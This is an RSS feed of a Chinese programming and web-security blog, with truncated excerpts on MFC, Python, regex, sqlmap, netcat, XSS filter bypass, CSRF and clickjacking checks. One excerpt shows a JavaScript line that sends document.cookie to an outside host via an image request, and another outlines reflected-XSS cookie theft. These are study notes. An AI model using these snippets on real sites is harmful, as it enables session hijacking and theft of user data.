<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[thislocal的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/thislocal</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; thislocal]]></copyright><item><title><![CDATA[#error WINDOWS.H already included. MFC apps must not #include <windows.h>]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/69808199</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/69808199</guid><author>thislocal</author><pubDate>Sun, 09 Apr 2017 12:14:09 +0800</pubDate><description><![CDATA[这个错误的原因，一般是因为windows.h的重复包含。多发生在控制台程序使用MFC共享DLL 时。
解决方案：
1、删除stdafx.h中的#include 
2、调整自己代码中各#include 的包含顺序，将#include    #include "stdafx.h"等放在首位。]]></description><category></category></item><item><title><![CDATA[sqlmap用户手册]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/52382799</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/52382799</guid><author>thislocal</author><pubDate>Wed, 31 Aug 2016 10:53:54 +0800</pubDate><description><![CDATA[当给sqlmap这么一个url的时候，它会：

1、判断可注入的参数

2、判断可以用那种SQL注入技术来注入

3、识别出哪种数据库

4、根据用户选择，读取哪些数据

sqlmap支持五种不同的注入模式：

1、基于布尔的盲注，即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面]]></description><category></category></item><item><title><![CDATA[python运行Windows应用程序]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/51964701</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/51964701</guid><author>thislocal</author><pubDate>Wed, 20 Jul 2016 08:02:50 +0800</pubDate><description><![CDATA[转自：http://my.oschina.net/mutour/blog/33042


10.4 运行其他程序
在Python中可以方便地使用os模块运行其他的脚本或者程序，这样就可以在脚本中直接使用其他脚本，或者程序提供的功能，而不必再次编写实现该功能的代码。为了更好地控制运行的进程，可以使用win32process模块中的函数。如果想进一步控制进程，则可以使用ctype模块，直接调用]]></description><category></category></item><item><title><![CDATA[关于visual stdio 2008下编译程序汉语乱码及英文全角的问题解决方法]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/51729622</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/51729622</guid><author>thislocal</author><pubDate>Tue, 21 Jun 2016 19:22:27 +0800</pubDate><description><![CDATA[最近在学习vc驿站的C语言黑客编程，但编译出来的程序运行的时候，交互flag中文总是显示乱码，英文显示全角，而且一句话也无法完全显示。
自己网上找了各种教程，基本都是对编码知识进行介绍的，看的云里雾里，对于解决问题没有任何实质帮助。
无奈，只好自己瞎摸索。
解决方案如下：
1、在工程文件，点属性：
2、配置属性选项卡下的项目默认值类别下的字符集；
3、这个默认是使用UNICODE字符集]]></description><category></category></item><item><title><![CDATA[关于用burp抓取python上网信息的使用方法]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/51487337</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/51487337</guid><author>thislocal</author><pubDate>Tue, 24 May 2016 08:51:22 +0800</pubDate><description><![CDATA[1、打开burp，监听端口打开，假定为默认的8080
2、python代码：
import urllib2
proxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080'})
opener = urllib2.build_opener(proxy)
urllib2.install_opener(opener)
url = 'http://w]]></description><category></category></item><item><title><![CDATA[python中else的用法]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/51254466</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/51254466</guid><author>thislocal</author><pubDate>Tue, 26 Apr 2016 21:39:49 +0800</pubDate><description><![CDATA[1、if...elif...else
2、循环中有break语句，else跟在循环体后面，若循环体中的break语句没有执行，则执行else语句。
3、用在try...except...else...finally语句中，没有异常发生时执行。]]></description><category></category></item><item><title><![CDATA[NC的用法]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/51028518</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/51028518</guid><author>thislocal</author><pubDate>Thu, 31 Mar 2016 17:26:37 +0800</pubDate><description><![CDATA[NC工具的使用说明

参数介绍： 
nc.exe -h即可看到各参数的使用方法。 
基本格式：nc [-options] hostname port [ports] ... 
nc -l -p port [options] [hostname] [port]

-d 后台模式 
-e prog 程序重定向，一旦连接，就执行 [危险!!] 
-g gateway source-ro]]></description><category></category></item><item><title><![CDATA[XSS攻击之HTTP代码注入]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/51019522</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/51019522</guid><author>thislocal</author><pubDate>Wed, 30 Mar 2016 21:25:47 +0800</pubDate><description><![CDATA[HTML代码一般由标签名、属性名、属性值、文本、注释等组成。我们进行代码注入攻击，就是在这几个地方进行。
一、标签绕过
1、对标签名进行大小写混合，并不影响代码执行，有时却可以绕过过滤器。如：


2、利用现代浏览器对XHTML的支持，可以在某些浏览器的某些版本插入XML代码、SVG代码或未知标签。如：
等。3、分析过滤器缺陷，进行针对性绕过。分析过滤器缺陷需要长期的积累。4、利用注释]]></description><category></category></item><item><title><![CDATA[最简单的反射型XSS拿cookie]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/51010021</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/51010021</guid><author>thislocal</author><pubDate>Tue, 29 Mar 2016 22:35:28 +0800</pubDate><description><![CDATA[参考了网上的一堆教程和余弦的《web前端黑客技术揭秘》
主要是关于XSS的。更准确一点，关于盗取cookie的，且是反射型。其实就是最简单的一个反射型cookie盗取过程。
一、XSS的一般过程：
1、找到XSS漏洞，假设存在于网站A；
2、发送可以触发该漏洞的，特定代码到攻击目标；
可以这样构造：凤姐最新性感视频
其中，www.foo.com/xss/xss.php?x=是存在漏洞的]]></description><category></category></item><item><title><![CDATA[JavaScript中的各种括号用法]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/51003311</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/51003311</guid><author>thislocal</author><pubDate>Tue, 29 Mar 2016 09:59:30 +0800</pubDate><description><![CDATA[一、{ } 大括号，表示定义一个对象，大部分情况下要有成对的属性和值，或是函数。 
如：var LangShen = {"Name":"Langshen","AGE":"28"}; 
上面声明了一个名为“LangShen”的对象，多个属性或函数用,（逗号）隔开，因为是对象的属性， 
所以访问时，应该用.（点）来层层访问：LangShen.Name、LangShen.AGE，当然我们也可以用数]]></description><category></category></item><item><title><![CDATA[浏览器的进制常识]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/51001649</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/51001649</guid><author>thislocal</author><pubDate>Mon, 28 Mar 2016 22:07:42 +0800</pubDate><description><![CDATA[1、HTML属性中使用十进制和十六进制，十进制表示方式为&#56;（其中；可省略）；十六进制表示方式为&#x3a;（其中；可省略，x大小写不敏感）。
2、CSS属性中使用十进制和十六进制，兼容HTML中的进制表示形式。此外，十六进制还可以使用\6c的形式来表示，即用斜线作为进制数值前缀。
3、JavaScript中可以直接通过eval执行的字符串有八进制和十六进制两种，其中八进制用\56表示，]]></description><category></category></item><item><title><![CDATA[正则表达式中括号的含义]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/50997826</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/50997826</guid><author>thislocal</author><pubDate>Mon, 28 Mar 2016 14:45:33 +0800</pubDate><description><![CDATA[正则表达式的() [] {}有不同的意思。
() 是为了提取匹配的字符串。表达式中有几个()就有几个相应的匹配字符串。
(\s*)表示连续空格的字符串。
[]是定义匹配的字符范围。比如 [a-zA-Z0-9] 表示相应位置的字符要匹配英文字符和数字。[\s*]表示空格或者*号。
{}一般用来表示匹配的长度，比如 \s{3} 表示匹配三个空格，\s[1,3]表示匹配一到三个空格。
(0-9]]></description><category></category></item><item><title><![CDATA[界面操作劫持的漏洞挖掘]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/50960514</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/50960514</guid><author>thislocal</author><pubDate>Wed, 23 Mar 2016 09:42:39 +0800</pubDate><description><![CDATA[1、目标的HTTP响应头是否设置好了X-Frame-Options字段；
2、目标是否有JavaScript的Frame Busting机制；
3、更简单的就是用iframe嵌入目标网站试试，若成功，则说明漏洞存在。]]></description><category></category></item><item><title><![CDATA[CSRF漏洞挖掘关注以下几点]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/50960456</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/50960456</guid><author>thislocal</author><pubDate>Wed, 23 Mar 2016 09:39:44 +0800</pubDate><description><![CDATA[1、目标表单是否有有效的token随机串；
2、目标表单是否有验证码；
3、目标是否判断了Referer来源；
4、网站根目录下crossdomain.xml的“allow-access-from domain”是否是通配符；
5、目标JSON数据是否可以自定义callback函数等。]]></description><category></category></item><item><title><![CDATA[token一般出现的位置]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/50960307</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/50960307</guid><author>thislocal</author><pubDate>Wed, 23 Mar 2016 09:07:20 +0800</pubDate><description><![CDATA[一、GET方法的URL参数中
http://www.abc.com/token=xxxxxx
二、POST方法，存在于隐藏的表单项中]]></description><category></category></item><item><title><![CDATA[cookie安全机制]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/50890692</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/50890692</guid><author>thislocal</author><pubDate>Mon, 14 Mar 2016 22:51:29 +0800</pubDate><description><![CDATA[一、关于cookie
服务器响应头可以通过Set-Cookie字段添加、修改、删除cookie；一般情况下，使用javascript也可以添加、删除、修改cookie。
二、cookie格式
[name] [value] [domain] [path] [expires] [httponly] [secure]
含义依次是：名称、值、所属域名、所属相对路径、过期时间、是否有HttpOnly]]></description><category></category></item><item><title><![CDATA[用javascript模拟用户发起浏览器请求]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/50890384</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/50890384</guid><author>thislocal</author><pubDate>Mon, 14 Mar 2016 22:05:30 +0800</pubDate><description><![CDATA[一、HTTP的请求有好几种，我们常用的一般是GET和POST。
二、发起GET请求
GET请求实际上就是插入一个URL，方式有很多种。
比如新建一个img标签对象，使其src指向目标地址。
new image().src = "http://www.baidu.com" + escape(document.cookie);
也可以在地址栏里打开目标地址
location.href = ]]></description><category></category></item><item><title><![CDATA[python中的argparse模块]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/50875647</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/50875647</guid><author>thislocal</author><pubDate>Sun, 13 Mar 2016 09:55:23 +0800</pubDate><description><![CDATA[一、简介：

argparse是python用于解析命令行参数和选项的标准模块，用于代替已经过时的optparse模块。argparse模块的作用是用于解析命令行参数，例如python parseTest.py input.txt output.txt --user=name --port=8080。

二、使用步骤：

1：import argparse

2：parser = ]]></description><category></category></item><item><title><![CDATA[Python的getattr(),setattr(),delattr(),hasattr()]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/50684447</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/50684447</guid><author>thislocal</author><pubDate>Thu, 18 Feb 2016 10:37:25 +0800</pubDate><description><![CDATA[getattr()函数是Python自省的核心函数，具体使用大体如下：

获取对象引用getattr
Getattr用于返回一个对象属性，或者方法




class A:
   
    def __init__(self):
   
        self.name
 = 'zhangjing'  
　　  #self.age='24'
    def meth]]></description><category></category></item><item><title><![CDATA[python中快速判断一个对象是否是字符串]]></title><link>https://blog.youkuaiyun.com/thislocal/article/details/50640376</link><guid>https://blog.youkuaiyun.com/thislocal/article/details/50640376</guid><author>thislocal</author><pubDate>Sat, 06 Feb 2016 15:39:06 +0800</pubDate><description><![CDATA[将对象和一个字符串进行拼接，看是否会出现TypeError异常。
假设对象为obje
try:
    obje + ''
except TypeError:
    pass]]></description><category></category></item></channel></rss>